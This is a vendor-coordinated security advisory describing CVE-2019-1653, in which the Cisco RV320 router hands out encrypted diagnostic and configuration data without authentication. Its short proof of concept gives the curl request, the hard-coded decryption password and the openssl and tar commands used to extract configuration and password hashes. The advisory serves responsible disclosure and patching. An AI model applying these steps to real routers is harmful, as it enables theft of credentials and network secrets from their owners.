Contact us

+49 241 510081-0
Contact form
RedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting Header

Cisco RV320 Unauthenticated Diagnostic Data Retrieval

RedTeam Pentesting discovered that the Cisco RV320 router exposes sensitive diagnostic data without authentication through the device’s web interface.


  • Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
  • Affected Versions:,
  • Fixed Versions: since
  • Vulnerability Type: Information Disclosure
  • Security Risk: high
  • Vendor URL:
  • Vendor Status: fixed version released
  • Advisory URL:
  • Advisory Status: published
  • CVE: CVE-2019-1653
  • CVE URL:


“Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network.” (from the Cisco RV320 product page (

More Details

The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based configuration interface. In the device’s firmware, this functionality is implemented using a variety of CGI programs. Access to this web interface requires prior authentication using a username and password. RedTeam Pentesting discovered the CGI program:


This program can be used to retrieve various diagnostic information from the device, which includes its current configuration. In contrast to other functions, this CGI program does not require any form of authentication. It may be accessed through the router’s web server, which is available from the LAN by default. As described in (, firmware versions from 1.4.2 to (including) also expose the web server to the WAN on TCP port 8007.

Proof of Concept

The diagnostic data can be retrieved by issuing an HTTP POST request to the vulnerable CGI program. OpenSSL is used to decrypt the data with the hard-coded password “NKDebug12#$%” before unpacking it with tar (output shortened):

$ curl --data submitdebugmsg=1 \
  '' > debug

$ openssl aes-128-cbc -salt -md md5 -d \
  -k 'NKDebug12#$%' < debug > debug.tgz

$ mkdir output && tar -xf debug.tgz -C output/

$ ls -1 output/

$ cat output/nk_sysconfig


Prevent untrusted clients from connecting to the device’s web server.


Install firmware version (or later) on the router.

Security Risk

This vulnerability is rated as a high risk as it exposes sensitive diagnostic information, such as the device’s configuration, to untrusted, potentially malicious parties. By retrieving this information, attackers can obtain internal network configuration, VPN or IPsec secrets, as well as password hashes for the router’s user accounts. Knowledge of a user’s password hash is sufficient to log into the router’s web interface. Any information obtained through exploitation of this vulnerability can be used to facilitate further compromise of the device itself or attached networks.


  • 2018-09-19 Vulnerability identified
  • 2018-09-27 Customer approved disclosure to vendor
  • 2018-09-28 Vendor notified
  • 2018-10-05 Receipt of advisory acknowledged by vendor
  • 2018-10-05 Notified vendor of disclosure date: 2019-01-09
  • 2018-11-18 List of affected versions provided by vendor
  • 2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
  • 2019-01-23 Advisory published

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at:

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: